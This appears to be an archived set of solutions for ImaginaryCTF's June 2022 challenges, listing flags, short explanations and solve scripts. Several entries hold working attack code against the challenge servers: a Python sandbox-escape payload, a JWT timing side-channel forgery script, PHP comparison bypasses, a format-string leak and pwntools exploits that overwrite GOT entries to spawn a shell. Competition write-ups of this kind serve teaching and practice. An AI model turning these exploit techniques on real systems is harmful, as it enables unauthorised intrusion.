Archived Challenges - June 2022

https://discord.gg/EHCH6w568k?event=980270495209512992 https://ctftime.org/event/1670

ictf{w3lcome_to_round_23!}

https://gchq.github.io/CyberChef/#recipe=XKCD_Random_Number()SHA2('512/256',64,1337)XOR(%7B'option':'Hex','string':'0000000000000000000000000054%200d%2054%2019%200d%2000%2045%2000%201a%200b%2007%2015%2041%2001%200d'%7D,'Standard',false)

ictf{n0tr4ndom}

Binary

ictf{bl0ckbuster_b1nary_19bba002}

Use the too high and too low messages to pinpoint the location of the moving number.

ictf{n1c3_gu3ss1ng_3fa376}

payload = [
    'x = object.__subclasses__',
    '_ = x()',
    'x = _.pop'
] + ['x()']*36 + [
    '_ = x()', # os._wrap_close
    'x = _.__init__.__globals__.values',
    '*_, = x()',
    'x = _.pop'
] + ['x()']* 196 + [
    '_ = x()'  # os.environ
]

print(*payload, sep='\r')```

Repeatedly call pop to traverse lists, and use /r to submit multiple lines inside of the one input.

ictf{$t4ck_m0r3_1!k3_5n4ck}

You can make a file hash to an arbitrary CRC32 by appending 4 bytes, and you can find many scripts online (e.g. https://blog.stalkr.net/2011/03/crc-32-forging.html) to do this. Additionally, data added at the end of the PNG doesn't change the data of the image. Finally, Discord will hosts images without modifying them or stripping unnecessary data.

Appending the hex 565261e5 to the original image will make it hash to 0: https://cdn.discordapp.com/attachments/696146600992440342/991239771634552832/image.png

ictf{happy_pride_month!_390cfd99}

http://puzzler7.imaginaryctf.org:2000/check?url=https://www.google.com/teapot

Alternatively, you can host your own website.

ictf{if_(response.short()_&&_response.stout()):_return_response.tip_over()_&&_response.pour_out()}

from requests import Session
from base64 import *
from time import sleep, time

url = 'http://puzzler7.imaginaryctf.org:2002'
# url = 'http://localhost:2002'

last_time = time()

def elapsed():
    global last_time
    ret = time() - last_time
    last_time = time()
    return ret

def time_to_chars(t):
    return round((t-.02)/.1)

s = Session()

elapsed()
base_times = [[s.get(url), elapsed()][1] for i in range(10)]
base_time = sum(base_times)/len(base_times)  # fudge factor for network latency

token = 'eyJhbGciOiAiSFNNRDUiLCAidHlwIjogIkpXVCJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJjcmVhdGVkIjogMTY1NDk0MTQ5Mn0.'
hsh = ''
elapsed()

while len(hsh) < 32:
    for c in '1234567890abcdef':
        temp_hsh = hsh + c
        if len(temp_hsh) % 2 == 1:
            temp_hsh += c
        end = b64encode(bytes.fromhex(temp_hsh)).replace(b'=', b'').decode()
        resp = s.get(url+'/flag', cookies={"token": token+end})
        if 'ictf' in resp.text:
            print(resp.text)
            exit()
        req_time = elapsed() - base_time
        print(c, req_time, time_to_chars(req_time))
        if time_to_chars(req_time) > len(hsh):
            hsh += c
            print(hsh)
            break
        if c == 'f':
            print("Restart me!")
            exit()

final_token = token+b64encode(bytes.fromhex(hsh)).replace(b'=', b'').decode()
resp = s.get(url+'/flag', cookies={"token": final_token})
print(final_token)
print(resp.text)

Simple side channel attack in the hash comparison - the closer the hashes are, the longer it takes to compare the two.

ictf{side_channel_attacks_are_jwst_the_w0rst}

http://eth007.me/lol.php?a=0&b=0e42

ictf{d0nt_use_loose_comparisons_1b19d312}

http://eth007.me/lol2.php?a[]=a&b[]=b

ictf{arr4yyyyyyyyyyyyyyyyyyyy_29d92bf3}

Nethack will show up in pretty much any list of terminal games you can find (which is a game that sounds like it's about hacking, but has nothing to do with hacking). From there, searching nethack servers will pull up alt.org, where you can find my profile, and my reasons for deaths (https://alt.org/nethack/player-endings.php?player=puzzler7).

ictf{killed_by_a_chameleon_imitating_a_rock_troll}

grep -o "=='.'" oneline.py | cut -d\' -f2 will get all of the characters of the flag, which you can then parse into the flag itself with "".join(x[1::2]+x[::2][::-1]) in python.

The script simply checks the last character, pops it off of the input, and reverses the input, until there is no more input. The characters here can easily be seen in plaintext and the above operation reversed, and the flag can also be bruteforced because it stops executing when it gets a bad character - adding a print or a time delay to the a lambda will make this especially easy.

ictf{helpsomeonestoleallmyspacingcharsandicantgetup}

https://imaginaryctf.org/f/wXVNP

ictf{0g_c3as3r_c1ph3r_25b4f4}

eBPF for ghidra plugin can decompile, then you see that it's just xoring stuff together

ictf{bpf_is_cool_29b41a23}

https://imaginaryctf.org/f/08eBQ

ictf{class1c_aut0mati0n}

#!/usr/bin/env python3

enc = open("encoded.huff", "rb").read()

d = {}

while True:
    char = enc[0]
    key = enc[1]*256 + enc[2]
    enc = enc[3:]
    if char == key == 0:
        break
    d[bin(key)[2:]] = chr(char)

print(d)

bitstr = ''

for c in enc:
    bitstr += "{:08b}".format(c)

pt = ''
current = ''
while len(bitstr) > 0:
    current += bitstr[0]
    bitstr = bitstr[1:]
    if current in d:
        pt += d[current]
        current = ''

print(pt)
print("Untranslated:", current)

Just a C implementation of Huffman compression. Each symbol and its encoding is written at the beginning of the file, followed by 3 null bytes, and then the compressed text.

ictf{I_stayed_up_entirely_too_late_debugging_this_stupid_thing_I_hope_it_actually_works}

from Crypto.Util.number import *

exec(open("output.txt").read())

p = n//q//r//s//t
phi = (p-1)*(q-1)*(r-1)*(s-1)*(t-1)

d = pow(e, -1, phi)

m = pow(c, d, n)

print(long_to_bytes(m))```

RSA with 5 primes. No different than normal, except phi is the product of all 5 (primes minus 1).

ictf{five_times_zero_5ecurity_is_still_zer0}

RSA is multiplicatively homeomorphic, so encrypting 2 and 7030628258552875059917612151667700888838370529550636480581105403312972741391039 (or a different set of factors) and multiplying the ciphertexts will yield the desired ciphertext.

ictf{homeopathy_and_homeomorphic_encryption_have_nothing_in_common_but_I_lack_proper_inspiration_for_this_challenge_name}

Looking at the obfuscation, we can see that the obfuscated flag is a multiple of p and that it isn't a multiple of q. This is very important because then we can take the GCD of the obfuscated flag with N, and we'd get p (if it was also a multiple of q, then we'd get N which is useless). We can find the private key now that we have our primes, and we decrypt the obfuscated flag. Finally, there is a quadratic equation with the flag as the input to get the obfuscated flag. Solve the quadratic with the quadratic formula or whatever, and we get our flag.

ictf{the_lesson_here_is_gcd_good}

https://imaginaryctf.org/f/j8iGv#x.py

Since iterating the carmichael lambda function leads to 1 very quickly for most numbers(for numbers of size close to 2^{64(the size here doesn't really matter, i chose to make it a bit small so that the totients could be calculated pretty quickly), the amount of iterations is usually about 10) the power tower function actually only cares about the first 10-ish numbers in the list given to it. So, by shuffling the flag in various ways, after enough queries each bit of the flag will be among the first 10(which we can recover by just trying all 2}10 options), meaning that it will be possible to recover. To decrease the amount of queries necessary, we can choose the seed a bit more carefully so that the first 10 bits of the shuffled flag have as many unknown bits as possible.

ictf{p0wer_t0w3rs_4r3_gr34t!!!!}

The background is a slightly different color than the text, change the the background to something else to view the text.

ictf{h1d1ng_1n_7h3_5had0ws}

There's a few ways to recover the flag, but the easiest is to open the VBA editor before enabling macros, change the time delay that changes the numbers to slower. Alternatively, you can copy the code and implement it yourself.

Doing either and looking at the numbers that are generated should show that there's one number each "timestep" that's less than 128. Decoding these into ASCII yields the flag.

ictf{excel_by_quiet_vows_-_amaze_pandering_junkfish}

Spectrogram.

ictf{5urf1ng_1n_7h3_w4v3s}

The RGB color values are either 0, or 255. So we can imagine it as 0 or 1. For example, black, #000000, will be 000, or 0. Continue on with all the other colors. 8 colors corresponds to 8 octal digits displayed as binary, and so you can convert it from octal to text for the flag

ictf{Octal_RGB_Maps!?}

A simple SSTV signal. Input the given wave file into QSSTV or other SSTV program

ictf{social_media_killed_the_tv_star}

The title/description hints to the song Touch Tone Telephone by Lemon Demon. The provided file uses DTMF to encode the flag as a series of numbers, the same way that texting was done on early cell phones. This can be done either by ear, or by using a DFT to determine the frequencies present in each tone.

ictf{imageeniusbeforemytime}

This is a format string vuln, as the remote prints your input with printf insecurely. Repeating %016llx and then swapping endianness in hex will read the secret th1s_1s_th3_s3cr3tttt, which gives you the flag when you enter it.

ictf{3asy_f0rm4t_str1ng_vuln}

Overwriting the next field of an element with the address of the flag leaks it when viewing the list.

ictf{arbitrary_read_ftw_d52a23c3}

p = remote("puzzler7.imaginaryctf.org", 2007)

p.sendline(b'2\n0\n/bin/sh')
p.sendline(b'2\n1\n1')
p.sendline(b'2\n2\n2')
p.sendline(b'2\n3\n3')


p.sendline(b'2\n1')
p.sendline(b'a'*64 + p64(0x404040))

p.sendline(b'2\n2')
p.sendline(p64(0x401060))

p.sendline(b'2\n0')

p.interactive()```

Writes `/bin/sh` to an element, writes the value of `system` to the address of `fgets`, then tries to overwrite the element with `/bin/sh`, which calls `system('/bin/sh')`.

ictf{who_knew_the_current_date_could_be_so_dangerous?}

# my soln
p = remote("puzzler7.imaginaryctf.org", 2998)

elf = ELF('./links3')
print(elf.got)
print(elf.plt)
libc = ELF("./libc6_tbg.so")

p.sendline(b'2\n0\n/bin/sh')
p.sendline(b'2\n1\n1')
p.sendline(b'2\n2\n2')

to_leak = "puts"

p.sendline(b'2\n3')
p.sendline(b'a'*64+p64(elf.got[to_leak]))

p.sendline(b'1')
p.recvuntil(b"4: ")
addr = p.recvline().strip().replace(b'\\x7f', b'\x7f')[::-1]
print(to_leak+":", addr.hex())

# p.interactive()

libc.address = int(addr.hex(), 16) - libc.sym[to_leak]
print("libc base addr:", hex(libc.address))
print("system addr:", hex(libc.sym['system']))

p.sendline(b'2\n2')
p.sendline(b'a'*64 + p64(0))

p.sendline(b'2\n1')
p.sendline(b'a'*64 + p64(elf.got['fgets'])) 

print(hex(elf.got['fgets']))


p.sendline(b'2\n2')
p.sendline(p64(libc.sym['system']))

p.sendline(b'2\n0')

p.interactive()```

Same as Links 2, but requires a libc leak to beat ASLR.

ictf{dammit_I'm_never_gonna_mix_up_64_and_0x64_again_it's_cost_me_three_flags_already}

https://github.com/MystenLabs/ed25519-unsafe-libs

Signing the same message with 2 different public keys allows for signing arbitrary messages.

Solve script: https://imaginaryctf.org/f/q9qgR#x.py

ictf{don't_worry_I_won't_put_you_through_any_more_side_channel_attacks...for_now}